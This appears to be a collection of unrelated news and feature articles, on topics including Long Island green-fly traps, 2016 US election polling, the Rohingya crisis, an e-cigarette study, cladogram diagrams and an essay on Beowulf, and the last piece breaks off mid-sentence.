-HEMPSTEAD, N.Y. (CBSNewYork) — Summertime heat doesn’t only attract people to barbecues and the beach, it attracts pesky, party crashing flies as well.  One in particular — the green-fly — is out in force this year.  As CBS2’s Andrea Grymes reported, one Long Island town is using an innovative approach to trap the seasonal pest in its breeding grounds.  Normally, the last thing Hempstead Town Supervisor Anthony Santino would like a handful of is green head flies, or more commonly green flies.  The voracious summertime biters are no threat to anyone because they’re dead, after having been trapped inside a rather innocuous looking wooden box.  “Once they enter the trap they are unable to escape, and then they dehydrate,” Santino (R) said.  Hempstead Town has set up dozens of the green-fly boxes in their breeding grounds in the swampy areas of the Lido preserve.  The flies can enter the boxes from below, but are then trapped by the covering mesh screen.  Every summer, the female green-flies lay millions of eggs in the marsh, but to do so they need to feast on humans.  “They literally need a blood meal to produce more offspring,” Santino said.  Rob Humphreys knows it all too well since he likes to run through the preserve daily.  “You don’t know you’re getting bitten until you feel the pain. You look down, and there’s a nice little hole, blood coming out, and it swells up and it itches like crazy. I hate it,” he said.  The green flies will head anywhere they can find a human host, whether at the beach or poolside.  “In July and August, there’s no wind, and on a hot day and they’re all over the place,” Joseph Chiodi said.  Town managers said there is minimal cost to taxpayers since the wooden fly boxes can be built in-house a cost of $100 each.  Local gardener Kathryn Heneghan said she loves that there are no pesticides involved.  “I prefer that over any chemical treatment because I worry about my kids,” she said.  Town leaders said with sixty fly boxes, they can capture up to 150,000 green flies a day who will never get the chance to bug you.  It’s an approach that may be tried elsewhere, because green flies swarm coastal areas from New Jersey to New England.
-With nine weeks left until the general election, most signs point to a victory for Hillary Clinton. In head-to-head national polling she has been ahead of Donald Trump for much of the past year, and in most recent surveys she has retained the lead. At the state level, too, Clinton holds the advantage: over the summer she moved ahead of Trump in many key battleground states, greatly complicating his path to accumulate two hundred and seventy votes in the Electoral College.  Of course, polls aren’t infallible—we relearned that lesson in the recent Brexit referendum. But in the past eight U.S. elections, the candidate who was leading on Labor Day went on to become President. At the online bookmakers, where real money is wagered, Clinton remains the strong favorite. On Tuesday the polls-based forecasting model maintained by the Times Upshot team estimated the probability of her winning at eighty-four per cent. FiveThirtyEight’s “polls-only” model put the probability of a Clinton victory at 68.5 per cent.  Why, then, is there so much anxiety among Clinton supporters? One reason is a new CNN poll, released on Monday, which generated headlines saying Trump had taken the lead. Among respondents the pollsters deemed “likely voters” that was true: the poll showed Trump at forty-four per cent, and Clinton at forty-two per cent. But among the broader pool of registered voters, Clinton was still ahead, forty-four per cent to forty-one per cent.  Essentially, the pollsters screened out some of Clinton’s supporters because they didn’t adjudge them likely to turn out on November 8th. There’s nothing unusual or untoward in that. As elections approach, many polling organizations switch their focus from registered voters to likely voters. But all such screens are somewhat arbitrary, because each polling organization has its own criteria for screening out unlikely voters.  When inspecting the trend in a given poll, it is also better to compare like with like. In this case, we can still look at registered voters: among those voters, Clinton’s lead in the CNN poll has shrunk from eight points a month ago to three points now. That finding is in line with other recent polls. On August 10th the Real Clear Politics poll average, which combines the results of numerous surveys, showed Clinton leading Trump 47.8 per cent to 39.9 per cent, a gap of almost eight percentage points. By Tuesday morning the gap had narrowed to 3.3 percentage points. (Clinton: 46.2 per cent; Trump: 42.9 per cent.)  Just as there are many ways to decide who is a likely voter, numerous methods can be used to construct poll averages. The key decisions are which polls to include and how to weigh them. The Huffington Post’s poll average, which is somewhat different than the Real Clear Politics average, indicates that Clinton is still leading by more than five percentage points—48.1 per cent to 42.5 per cent. But it, too, indicates that the race has narrowed over the past month.  Why has it narrowed? Part of the explanation may be that Clinton’s recent slippage reflects a predictable correction to the polling gains she enjoyed after a successful Democratic Convention and Trump’s self-defeating attacks on the Khan family. As memories of Conventions fade, the bounce that candidates get from them often subsides, partially or wholly.  In this case, it could be argued that the polls have largely reverted to where they were before the Conventions. On July 11th, a week before the gavel came down in Cleveland, the R.C.P. poll average showed Clinton leading Trump by 4.5 percentage points—not far from where the gap is today. Looking at the numbers this way, the key fact about modern American politics is that the country is divided pretty evenly, with this year being no exception. We should always have expected a close race.  A more pointed explanation for the recent polling trends acknowledges the possible effect of the recent barrage of negative press about the Clinton Foundation and Clinton’s private e-mail server. In an ABC News/Washington Post poll, which was carried out on August 24th through 28th, fifty-six per cent of respondents said they had an unfavorable opinion of Clinton. That was a jump of six points compared with a poll taken at the start of August. The Post’s Aaron Blake noted that Clinton’s favorable/unfavorable numbers were the worst she “has had in her quarter-century of national public life.”  Monday’s CNN poll confirmed that Clinton has a serious image problem. Asked to choose the most honest and trustworthy candidate, just thirty-five per cent of respondents picked her, and fifty per cent chose her opponent. Given Trump’s long record of bankrupting companies, stiffing suppliers, exaggerating his net worth, and running a sham university that charged high fees to low-income people, this was a remarkable (and depressing) finding.  But it needs putting in perspective. To come out on top in November, Clinton doesn’t need to transform herself into a beloved leader. She just needs to defeat Trump, who, by most measures, is even more unpopular than she is. Here again, the poll averages provide more reliable information than individual surveys. According to the Huffington Post’s poll average, Trump’s net favorability rating—that is, his favorable rating minus his unfavorable rating—is minus nineteen. Clinton’s figure is minus 14.6.  Ultimately, of course, the race will come down not to polls but to the Electoral College and the outcome of voting in the battleground states. For these purposes, I’ll put eleven states in the battleground category: Colorado, Florida, Iowa, Michigan, Nevada, New Hampshire, North Carolina, Ohio, Pennsylvania, Virginia, and Wisconsin. According to the Real Clear Politics polling database, Trump is narrowly ahead in only two of these states: Iowa and Missouri. Clinton is up by five points or more in six: Colorado, Michigan, New Hampshire, Pennsylvania, Virginia, and Wisconsin. In the three remaining states—Florida, Ohio, and North Carolina—Clinton holds narrow leads.  Mimicking the national trends, polls published last week showed the race tightening in Pennsylvania, Virginia, and Wisconsin. But Clinton was still ahead of Trump in these surveys, and her unfavorability ratings were better than his. In Pennsylvania, for instance, which is shaping up as a must-win state for the Republicans, a poll from Franklin & Marshall College showed Clinton leading Trump by seven percentage points: forty-seven per cent to forty per cent. Clinton’s net favorability rating was minus sixteen, which is pretty bad. But Trump’s net favorability rating was minus twenty-one.  It should be noted that numbers like these have seldom, if ever, been seen before in a U.S. Presidential election. To many Americans, the election has come down to a choice between the unpalatable and the unthinkable. But in this strange and dystopian contest, Clinton retains a distinct advantage. In the weeks ahead, which will see three Presidential debates and, almost certainly, more surprises, we will find out if she can maintain it all the way to the finish line.
-WASHINGTON, DC — A view of Nationals Park from the Hampton Inn’s Top of the Yards rooftop bar on April 1, 2016, while the Nationals were playing the Minnesota Twins. (Photo by Fritz Hahn/The Washington Post)  Rain is inevitable on Thursday as the latest in a conveyor of cold fronts charges through the region. But I am cautiously optimistic the Nationals will be able play their home opener.  [Should the MLB schedule early-season games to avoid wintry weather?]  The bulk of the rain should fall through early afternoon Thursday  Models are in a good agreement that a slug of rain, possibly heavy for a time, will come through during the morning to early afternoon hours.  Simulated radar high resolution NAM model 11 a.m. Thursday. (WeatherBell.com)  Models *currently* don’t show much rain mid-afternoon into the evening  After the morning-early afternoon rain passes, models are in a good agreement that any additional rainfall is light and inconsequential. The European and GFS models simulate less than 0.1 inches of rain between 2 and 8 p.m. Thursday.  European model  Rainfall forecast from European model 2 p.m. to 8 p.m. Thursday. (StormVistaWxModels.com)  GFS model  Rainfall forecast from GFS model 2 p.m. to 8 p.m. Thursday. (StormVistaWxModels.com)  In other words, from mid-afternoon Thursday into the early evening, any rain showers should be widely scattered, short-lived, and probably won’t amount to much. Skies may even brighten.  Could the timing of the rain shift between now and Thursday? Yes. Could showers be heavier and last longer than these models suggest? Sure.  I wouldn’t say the game is in the clear at this point.  What will temperatures and wind be like?  The culprit for the rain is a strong cold front coming into the area, but temperatures probably won’t fall markedly until overnight Thursday, some time after the game.  Temperatures during the game should starting off around 60 degrees and gradually fall back into the mid-50s by the late innings. If the sun manages to come out at all Thursday afternoon, it could be slightly warmer than this.  European model forecast temperature at 5 p.m. Thursday. (StormVistaWxModels.com)  Winds will be steady out of the west, at around 10-20 mph, but nothing too extreme the way it looks now.  This forecast is low confidence, so keep an eye on our blog for updates over the next two days.
-“E-cigarettes can cause cancer”; “Vaping ‘no better’ than smoking”: headlines last week challenged the idea that electronic cigarettes are safer than conventional cigarettes, after findings emerged that their vapour damaged and killed human cells.  Jessica Wang-Rodriguez, a head and neck cancer specialist at the University of California at San Diego, and her team found that cells lining human organs sustained up to twice the DNA damage seen in unexposed cells. They were also five to 10 times more likely to wither and die than unexposed cells even if the vapour contained no nicotine, the addictive ingredient in conventional and most electronic cigarettes.  “Without the nicotine, the damage is slightly less, but still statistically significant compared with control cells,” says Wang-Rodriguez, who led the research.  Advertisement  Although the study garnered headlines around the world, researchers contacted by New Scientist have criticised it for its inability to properly compare the damage caused by smoke from conventional and electronic cigarettes.  Relative harm  “The relative harm compared to real smoking is the critical point here, since the majority of vapers use e-cigarettes to cut down or quit smoking,” says Marcus Munafò of the University of Bristol, UK. “That direct comparison is largely missing.”  To assess what vaping does to human tissue, the researchers exposed cells to vapour from two brands of e-cigarettes every three days for between one to 8 weeks. However, with cigarette smoke they were only able to expose the cells for 24 hours before all the cells died.  Because the cells were able to survive for far longer when exposed to vapour rather than smoke, the main outcome of the study is the opposite of what the media has reported: that cigarette smoke is far more toxic than e-cigarette aerosol, says Konstantinos Farsalinos of the University of Patras in Greece.  “The comparisons were based on unequal treatments, without equivalent exposures for equivalent periods of time,” says John Britton, a toxicologist at the University of Nottingham, UK. Even if the time periods had been equal, the results would not necessarily have reflected real-life hazards, he says. The dose of vapour the cells received was equivalent to that from vaping for hours on end, a much higher dose than someone would typically get.  More realistic would have been to compare samples of cells taken from the airways of people who use either e-cigarettes or real cigarettes, says Britton.  Toxins from flavourings?  One puzzle the results raise is why cells appeared to be damaged even by nicotine-free vapour. One possibility is that other toxins are created when flavourings are exposed to heat.  “E-cigarette vapour is known to contain a range of toxins which include impurities in the e-cigarette liquids and toxins generated when solutions are heated to generate vapour,” says Britton. “Some are carcinogenic, so it’s likely some long-term users of e-cigarettes will experience adverse effects on their health, and the authors are correct to point out that these products should not be considered risk-free,” he says. But if smokers can’t give up completely, e-cigarettes are safer than smoking, he says.  “Those of us reviewing the evidence are saying that when compared with tobacco smoking, e-cigarettes are a safer option, and I don’t think this new research detracts from that advice,” says Linda Bauld of the University of Stirling, UK.  Wang-Rodriguez, however, urges vapers to be cautious. “They shouldn’t assume it’s a safe alternative to smoking,” she says. “We don’t really know all the harmful effects of vaping at this point, so I’d encourage users of both e-cigarettes and regular cigarettes to understand the consequences and stop using.”  Journal reference: Oral Oncology, DOI: 10.1016/j.oraloncology.2015.10.018  (Image credit: Sefa Karacan/Anadolu Agency/Getty)
-'Lion King' director Rob Minkoff is producing the animated feature inspired by Brooks' comedy classic 'Blazing Saddles.'  Michael Cera, Samuel L. Jackson and Michelle Yeoh have joined the voice cast of Blazing Samurai, an animated feature inspired by Mel Brooks' comedy classic Blazing Saddles.  Rob Minkoff, director of The Lion King and Stuart Little, will produce the animated comedy together with Yair Landau and Susan Purcell. Landau's Mass Animation shingle is producing with Huayi Brothers Media Corporation, Flying Tigers Entertainment and GFM Films, which is handling international sales at AFM.  George Takei, Gabriel Iglesias, Djimon Hounsou, Aasif Mandvi, Sandra Tsing Loh and former Spice Girl Mel B. are also among the voice cast.  Open Road Films has picked up U.S. rights to Blazing Samurai and plans a domestic bow on August 4, 2017. Sony Pictures International Releasing has picked up several territories and Huayi Brothers is distributing the film in Greater China. GFM Films is selling worldwide rights to buyers at AFM.  Cera will play Hank, a dog who dreams of becoming a great warrior and saving the town of Kakamucho from becoming the litter box of a nefarious feline warlord. Jackson will voice Jimbo, a once-great cat samurai who has been hitting the catnip too hard for too long. He takes Hank under his wing and teaches him the way of the samurai. Brooks will voice Shogun, a misguided but benevolent leader.  Helmers Mark Koetsier (Kung Fu Panda) and Chris Bailey (Alvin and the Chipmunks) will direct from a screenplay by Ed Stone and Nate Hopper.  “There is no business like Shogun business,” quipped Brooks. The comedy legend will attend AFM Nov. 4 to showcase footage from Blazing Samurai to buyers, along with Minkoff and Landau.  “Throughout the recording sessions from Mel Brooks to Mel B, this cast has not only met the humor, but raised the level of comedy and heart in this unique homage to Blazing Saddles,” said Landau. “Ed and Nate delivered a first-rate script in Blazing Samurai, a story about cats and dogs getting along that will appeal to everyone whether they’ve seen the original comedy classic or not.”  Brooks is executive producing Blazing Samurai along with Reginald Hudlin and Pietro Ventani.
-It has been a major recruiting weekend for Oklahoma with the 2016 class, but the Sooners have added one more piece to their 2015 puzzle.  Junior college wide receiver Jarvis Baxter confirmed Friday night he is going to be a walk-on at OU with hopes of earning a scholarship either during the season or next semester.  Baxter, who is 5-foot-11, was ranked No. 43 in the Scout juco 100 last season and had signed with South Florida. He was released from his letter of intent with USF two weeks ago when it became clear he was not going to qualify academically.  Baxter, however, will make OU’s requirements and said he is going to report to Norman on Tuesday with everybody else.  Baxter said USF only allows someone to use nine credit hours in the summer to meet the required GPA. Baxter took more than nine hours but those extra hours couldn’t count for USF but do count for OU. OU allows for more than nine hours in the summer, which is what Baxter needed to reach the required GPA.  Baxter was a star at Trinity Valley where he played against fellow OU juco transfer Dede Westbrook. That’s where it all started. Once Baxter talked with Westbrook, Baxter called offensive coordinator Lincoln Riley about joining OU.  “I talked with him, and he said they have a walk-on spot at wide receiver open,” Baxter said. “I talked to my family about it and decided this would be the best thing for me to do.  “I’m going to have a chance to earn it during the season. Pretty sure I’ll end up with that scholarship because nobody is going to work harder than me.”  Baxter visited OU initially for the 2011 OU-Texas A&M game. He remembers it well and said OU has been his dream school ever since.  “I got an autograph from Corey Nelson,” Baxter said. “I talked with Jamell Fleming. I wanted to get his gloves, but he said he couldn’t do that.”  In the last week Baxter has started to receive full scholarship offers from other schools, but in the end, decided OU was the place to be.  “Because of the institution,” Baxter said. “The kind of school OU is. It’s a great community, and I can get a great education.”  Baxter said he is a 3-for-2 kid with three years to play two seasons’ worth of eligibility.
-Almost 400 people have died in clashes between security forces and Rohingya Muslims in Burma, the country's military commander has said.  The numbers, posted on the military's official Facebook page, are a sharp increase on the previously reported toll of just over 100. The statement said all but 29 of the 399 dead were insurgents, whom it described as terrorists.  The statement said there had been 90 armed clashes including an initial 30 attacks by insurgents on 25 August, making the combat more extensive than previously announced.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Advocates for the Rohingya, an oppressed Muslim minority in overwhelmingly Buddhist Burma, say hundreds of Rohingya civilians have been killed by security forces.  According to the UN, some 38,000 have fled into neighbouring Bangladesh.  It comes after Chris Lewa, director of the Arakan Project pressure group, told ABC: "So far reports—I think quite credible—mention about 130 people including women and children killed.  "That happened on Sunday when suddenly security forces cordoned [off] the whole area, together with Rakhine villagers. It seems like this has been a major massacre in Rathedaung."  The latest violence follows an attack by Rohingya insurgents on police posts in the remote region, prompting a huge military crackdown.  The insurgent group that claimed responsibility for last week's attacks, the Arakan Rohingya Salvation Army, said it acted to protect Rohingya communities.  Shape Created with Sketch. Rohingya mothers face persecution Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Rohingya mothers face persecution 1/10 Ramida Begum holds her 10-day-old daughter in their shelter in Kutupalang, an unregistered refugee camp in Cox's Bazar, Bangladesh. 'The military caught my husband and burnt our house down a week before I left Myanmar. Since then I don't know whether my husband is dead or alive' Reuters 2/10 Minara Begum sits inside the shelter, cradling her one-month-old son Ayub. Minara fled to Bangladesh from Nasha Phuru village in Myanmar with her husband and mother-in-law. 'My child doesn't get enough breast milk as I don't eat enough nutritious food. I have to buy milk powder from local market though it's not very good for my son' Reuters 3/10 Amina, pictured with her 16-day-old daughter Sumaiyin, is in a refugee camp Balukhali that neighbours Ramida and Minara's. 'One and a half months ago the military came to our village and kept firing their guns. I ran away with my neighbours to save our lives. You see us alive here only because the God was so kind. They caught my uncle and my younger brother and we don't know whether they are dead or alive' Reuters 4/10 Fatema sits beside her one-day-old daughter Aasma in Kutupalang. Fatema fled to Bangladesh from Jambuinna village in Myanmar two months ago after her house was burnt down by the military. She crossed Naf River by boat during the night. 'Our situation is better than many other refugees as my husband Mohammad Alom works here as a day labourer. Many of the new refugees have no work here, so they have to rely on relief' Reuters 5/10 Jamalida cradles her two-month-old daughter Shahida. Jamalida came to Bangladesh with her husband from Nasha Phuru village in Myanmar Reuters 6/10 Rehana Begum lays her one-day-old daughter in front of her inside their tarpaulin shelter. Rehana fled her village of Jambuinna in Myanmar three months ago. 'We were in our home and suddenly the military came to our village and started shooting. When we heard the sound of gun shots we immediately went to our relatives. We walked for four hours without any food and water to reach the border at 1 a.m. We paid 25,000 Myanmar kyat (£14) to a broker to cross.' Intercepted by Bangladesh border guards, Rehana's family narrowly escaped being sent home. 'They wanted to send us back, but then we heard gunshots from the Myanmar side and the guards released us, saying, "Stay in Bangladesh and save your lives"' Reuters 7/10 Noor Begum sits next to her one-day-old daughter Sumaiya as she stares into the camera. Noor came to the camp one-and-a-half months ago from Nagpura village with her husband Jahangir Reuters 8/10 Rajuma Begum observes her one-month-old son Raihan. 'I fled to Bangladesh because of fear, because I needed to save my children. I was pregnant and suffering from fever while crossing the border. I also have an 11-month-old boy, so it was very difficult to reach the border from our village Wabek in Myanmar. I had to rest frequently. After six hours of horrible walking we finally reached the border at 2am and crossed after paying a broker' Reuters 9/10 Eighteen-year-old Asmot Ara rests her newly born daughter on her lap. Asmot said she came to the camp one month ago with neighbours from Nagpura village. In Myanmar her father-in-law was killed and their home burnt down by the Myanmar military Reuters 10/10 As Marijaan holds her 25-day-old daughter Noor Habi, her son peers over her shoulder. Marijaan fled to Bangladesh from Khyeri Prang village in Myanmar one month ago after her house was burnt down by the Myanmar military. 'I reached the border at night and crossed by the boat. I paid the boatman to cross the Naf River' Reuters 1/10 Ramida Begum holds her 10-day-old daughter in their shelter in Kutupalang, an unregistered refugee camp in Cox's Bazar, Bangladesh. 'The military caught my husband and burnt our house down a week before I left Myanmar. Since then I don't know whether my husband is dead or alive' Reuters 2/10 Minara Begum sits inside the shelter, cradling her one-month-old son Ayub. Minara fled to Bangladesh from Nasha Phuru village in Myanmar with her husband and mother-in-law. 'My child doesn't get enough breast milk as I don't eat enough nutritious food. I have to buy milk powder from local market though it's not very good for my son' Reuters 3/10 Amina, pictured with her 16-day-old daughter Sumaiyin, is in a refugee camp Balukhali that neighbours Ramida and Minara's. 'One and a half months ago the military came to our village and kept firing their guns. I ran away with my neighbours to save our lives. You see us alive here only because the God was so kind. They caught my uncle and my younger brother and we don't know whether they are dead or alive' Reuters 4/10 Fatema sits beside her one-day-old daughter Aasma in Kutupalang. Fatema fled to Bangladesh from Jambuinna village in Myanmar two months ago after her house was burnt down by the military. She crossed Naf River by boat during the night. 'Our situation is better than many other refugees as my husband Mohammad Alom works here as a day labourer. Many of the new refugees have no work here, so they have to rely on relief' Reuters 5/10 Jamalida cradles her two-month-old daughter Shahida. Jamalida came to Bangladesh with her husband from Nasha Phuru village in Myanmar Reuters 6/10 Rehana Begum lays her one-day-old daughter in front of her inside their tarpaulin shelter. Rehana fled her village of Jambuinna in Myanmar three months ago. 'We were in our home and suddenly the military came to our village and started shooting. When we heard the sound of gun shots we immediately went to our relatives. We walked for four hours without any food and water to reach the border at 1 a.m. We paid 25,000 Myanmar kyat (£14) to a broker to cross.' Intercepted by Bangladesh border guards, Rehana's family narrowly escaped being sent home. 'They wanted to send us back, but then we heard gunshots from the Myanmar side and the guards released us, saying, "Stay in Bangladesh and save your lives"' Reuters 7/10 Noor Begum sits next to her one-day-old daughter Sumaiya as she stares into the camera. Noor came to the camp one-and-a-half months ago from Nagpura village with her husband Jahangir Reuters 8/10 Rajuma Begum observes her one-month-old son Raihan. 'I fled to Bangladesh because of fear, because I needed to save my children. I was pregnant and suffering from fever while crossing the border. I also have an 11-month-old boy, so it was very difficult to reach the border from our village Wabek in Myanmar. I had to rest frequently. After six hours of horrible walking we finally reached the border at 2am and crossed after paying a broker' Reuters 9/10 Eighteen-year-old Asmot Ara rests her newly born daughter on her lap. Asmot said she came to the camp one month ago with neighbours from Nagpura village. In Myanmar her father-in-law was killed and their home burnt down by the Myanmar military Reuters 10/10 As Marijaan holds her 25-day-old daughter Noor Habi, her son peers over her shoulder. Marijaan fled to Bangladesh from Khyeri Prang village in Myanmar one month ago after her house was burnt down by the Myanmar military. 'I reached the border at night and crossed by the boat. I paid the boatman to cross the Naf River' Reuters  Burma's leader, Aung San Suu Kyi has said the "terrorist" attacks were "a calculated attempt to undermine the efforts of those seeking to build peace and harmony in Rakhine state".  The Burmese government has repeatedly denied claims the Rohingya are facing genocide. It previously brushed away evidence of human rights violations as fake news and "propaganda".  Bangladeshi border guards have tried to keep out the fleeing Rohingya, but thousands could be seen on Friday making their way across muddy rice fields.  Young people helped carry the elderly, some on makeshift stretchers, and children carried newborns.  Some, carrying bundles of clothes, cooking utensils and small solar panels, said they had walked at least three days to get to the border.  Sham Shu Hoque, 34, crossed the border with 17 family members. He said he left his village of Ngan Chaung on 25 August after it was attacked by Burmese security forces who shot at the villagers. He said troops also used rocket-propelled grenades, and helicopters fired some sort of incendiary device.  Five people were killed in front of his house, he said. His family survived the attack but was told by the soldiers to leave. They took a week to reach Bangladesh, hiding in villages along the way, he said.  Most of Burma's estimated 1 million Rohingya live in northern Rakhine state. They face severe persecution, with the government refusing to recognize them as a legitimate native ethnic minority, leaving them without citizenship and basic rights.  Additional reporting by agencies  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Ahead of England's World Cup qualifier against Poland, former Juventus player and Polish legend Zbigniew Boniek decided it was the perfect time to show he can still take shots better than Andy Carroll can.  From the Telegraph:  Scroll to continue with content Ad  "My [eight-year-old] grandson Mateo moves better on the pitch than Andy Carroll," said Boniek. "Mateo is very good at golf and tennis. He has better co-ordination."  Well, OK then. Either Boniek is trying to get Liverpool to buy his grandson for £35 million or he really doesn't think very much of Andy Carroll. Maybe this is just his roundabout way of suggesting that Carroll take up golf and tennis?  Whatever the case may be, Boniek has an impressive mustache and Andy Carroll has no mustache at all. Advantage: Boniek.
-The orientation of a diagram on the page of a textbook may seem inconsequential, but it can have a significant impact on a reader's ability to comprehend the information as presented, according to a team of researchers at UC Santa Barbara, Vanderbilt University, and Western Carolina University. Their findings appear in a recent issue of the journal Bioscience.  Focusing on variously formatted cladograms –– also known as phylogenetic trees –– the researchers found that two diagrams may contain the same information, but they aren't necessarily equivalent in terms of how the information is interpreted. "In Western culture, we read from left to right, so we naturally come to a diagram with that behavior," said Andrew T. Stull, a researcher in the Department of Psychological & Brain Sciences at UCSB and an author of the paper. "The important point in this research, however, is that how efficiently a student comprehends the information presented in the phylogenetic tree depends on how the tree is angled."  As it turns out, when a diagonal tree extends from tips on the left to the root on the right, and the trunk angles downward to the right-hand side, the information is more easily accessible. "The way we interrogate the tree is first culturally based –– left to right –– and the strong diagonal line tends to make us flow one way or another," said Stull. "But that combined effect influences the accuracy, or how we're able to use the tree effectively."  However, most textbooks depict the diagonal cladogram in the upward orientation, Stull noted. "Many artists draw the diagram in an inefficient and potentially confusing way," he said. "Artists have a tendency to draw it at the upward angle, not realizing they'd communicate the information better if they angled it downward."  The researchers used a phylogenetic tree for their research because it is very important for a process called tree thinking. "It's the idea that from an evolutionary perspective, there is a distinctive relationship between taxa," said Stull. "It's not just that things line up together on a tree, but you can infer certain biological, physiological, and pharmaceutical commonalities that might be relevant. There are a lot of things you can do in knowing how all of life is organized, and each organism's relation to everything else."  Drawing them in tree form, Stull continued, should help teach students the relationships between organisms, and to anticipate the valuable information those relationships can provide.  The researchers used eye-tracking technology to carry out their research. They showed test subjects one tree, and then another, and asked them to determine whether or not they were the same. "In order to answer the question, they had to interpret the two images," Stull explained. "Then we took all the eye positions. What we found is that when people studied the tree with the upward diagonal trunk, they were less accurate than when the tree followed the downward diagonal."  Why the directional angle makes a difference may have to do with how organisms represented by the individual branches relate to their closest common ancestor and to those with a more distant common ancestor. "With upward angled trunks, it may be because they [students] are thinking of it from the root up," Stull said. "But it's more efficient to think of it from the branches down. So, from an artistic perspective, it makes more sense to build it that way. With that orientation, the user doesn't have to deconstruct it in order to access the information."  Stull's co-authors include Laura R. Novick, associate professor of psychology and human development at Vanderbilt University; and Kefyn M. Catley, a professor of evolutionary biology at Western Carolina University.  [RETURN TO TOP]  † Top image: Although images in textbooks generally represent phylogenetic trees with trunks angling up and to the right, research shows that students have better comprehension when the trunks angle down to the right.  BioScience
-“Now the repute of thy might endures for a space; straightaway again shall age, or edge of the sword, part thee from thy strength, or the embrace of fire, or the surge of the flood, or the grip of the blade, or the flight of the spear, or hateful old age, or the gleam of eyes shall pass away and be darkened; on a sudden it shall come to pass that death shall vanquish thee, noble warrior.” (Beowulf, xxvi)  “Teach us to number our days aright, that we may gain a heart of wisdom.” (Psalm 90:12)  Why tell a life story? Why recount a person’s deeds? There are times, of course, when we tell the stories of infamous deeds, and these we recount to inspire a warning. But most often we tell stories to inspire greatness. Epic deeds paint grand pictures for our emulation, and the goal of these mighty deeds, planted in our hearts and minds through the stories we absorb, is to bear fruit in our lives. Soak in anemic, empty stories and the fruit in your life will be anemic and empty; saturate yourself in stories with rich and nutritious stuff—even stories which you don’t fully understand—and the fruit in your life will be rich and nutritious. Such a story is Beowulf—no mere epic of swords, golden rings, and monsters, but a powerful, richly nutritious tale for the mythic soul of man, written to inspire us to be better men ourselves.  But there is a twist. Where we might expect a story about how to be better men to focus on life, Beowulf is a story about death; it is a tale not of living well, but of dying well. And this makes good sense, because in the ethical economy of Beowulf’s world how you live is closely—nay, intimately—intertwined with how you die. The measure of the man is determined by how well he faces death. Here the ethics of the ancient world are at odds with our modern one, because death is a subject we are particularly at pains to ignore. Thus, when we turn and apply the examining light of ancient literature to our own lives, the results are both stark and uncomfortable.  Beowulf’s tale is both short and simple. An evil creature, Grendel, is terrorizing the subjects of King Hrothgar. Beowulf arrives to challenge the beast in a mighty contest. He waits at night for the fell creature to arrive, then slaughters it and wins fame for himself and his king. But the deed is not yet done—soon thereafter the mother of Grendel comes to wreak more evil, but Beowulf chases her down, takes her life and sets the people free from terror, earning gold and fame in the process. This, however, is not where Beowulf’s story ends. Years later Beowulf has become a mighty king in his own right, when a dragon, awoken by the greed of men, begins to terrorize his people. Alone, and knowing he will die, Beowulf pursues and eventually kills the dragon, losing his life in the process.  How does the ethic of dying well run throughout this story? There are three currencies in the world of Beowulf: gold, fame, and your life. Mighty (that is, noble and good) men perform mighty deeds (they wager their lives) in order to earn gold and fame. We are tempted to think that accumulation is the goal of these wagers—long life, much gold, and great fame. But Beowulf’s poet wants us to know the grave danger embedded in each of these: namely, to think that these currencies are ends in themselves, to forget that death comes to all. For what does a man take with him when he dies? Does his fame go with him to the grave? Does he carry his gold with him? No. And so the man who fails to use these currencies rightly is an unjust man. The man who forgets the approach of death, and lives in cowardice merely to preserve his property, is in the ethic of Beowulf doomed.  “Now the repute of thy might endures for a space,” admonishes King Hrothgar, because “on a sudden it shall come to pass that death shall vanquish thee, noble warrior.” Death sits at the door—do not trust in your wealth or fame! He may as well have quoted Moses: “Teach us to number our days aright, that we may gain a heart of wisdom.” Under this ethic, when death is foremost in our minds, our relationship to the material subjects of our lives is revealed: what you do with your gold, and what you do with your reputation, and what you do with your life, become paramount concerns. These things cannot be kept: they must therefore be used. Noble men spend their gold, their fame, and their lives wisely. Cowardly men do not.  From within this, the story of the Beowulf’s contest with the dragon becomes the high point of this struggle. The dragon is an image of greed—it hoards its gold and does not share it. And in this terrible image we ought to see ourselves; we are tempted, even now, to keep and hoard our gold; to be deceived by the allure of wealth into thinking that the more we have, the better off we will be; that the measure of a man is in the accumulation of his possessions. Beowulf preaches the opposite ethic. It is not in possessing, but in giving, that a man is revealed. And hence the dragon must be destroyed.  Beowulf knows that taking this task will not earn him earthly fame—a contrast to his struggle with Grendel. There he stood to win gold and fame through that mighty deed. With the dragon, however, there will be neither wealth nor fame. There is only the deed. And here the character of Beowulf is proved once for all: is he a mercenary, we ask, out only for gain? By no means! “Then for the first time,” the poet observes, “he had to show his strength without Fate allotting him fame in battle” (Beowulf, xxxv). An action undertaken without the promise of earthly reward—an action, that is, of self-sacrifice—is thus the most noble of all.  Beowulf takes eleven companions with him to fight the dragon, and here the parallels to the Passion of Christ should not be overlooked: Jesus, of course, had twelve disciples, but one (Judas) abandoned the ranks before his passion. Ten of Beowulf’s companions abandon him in cowardice; one, Wiglaf, remains to fight at his master’s side. Ten of Jesus’ remaining disciples also abandoned him—but John alone remained. Thus, as Jesus goes on to fight the dragon of human sin alone, so Christlike Beowulf advances on the dragon of greed alone—a final, brave act to display the grand selflessness of true manhood.  Consequently, faithful Wiglaf becomes our stand-in. He is our way to enter into the story of Beowulf. He models for us how we are to respond to the tales of mighty, selfless deeds—that is, with mighty, selfless deeds of our own. Will we be the loyal servants, or the cowardly earls? The poet has no qualms identifying which he thinks is the right path, and Wiglaf declares that:  God knows that, as for me, I had much rather the flame should embrace my body with my gold-giver. It does not seem fitting to me, that we should bear shields back to our dwelling, if we cannot first fell the foe, guard the life of the prince of the Weders. I know well that, from his former deeds, he deserves not to suffer affliction alone among the warriors of the Geats, to fall in fight; sword and helmet, corslet and shirt of mail shall be shared by us both. (Beowulf, xxxvi)  But of those who ran, he only says this: “Death is better for all earls than a shameful life” (Beowulf, xxxix).  How you spend your wealth, how you spend your fame, and how you spend your very life are, according to the ethics of Beowulf, the factors that determine the ultimate value of your life. It is the knowledge of death that determines your choices and actions in the present. Keep your death in mind, and you will make right choices about the currencies you possess. This is a critical voice we continually need to hear—especially in an era which praises what Beowulf’s poet would surely see as the cowardly determination to preserve life, rather than the righteous goal to spend your life-currency justly. To Beowulf, a good death is better than a long life in cowardice. This is a reminder we desperately need, for in this nothing has 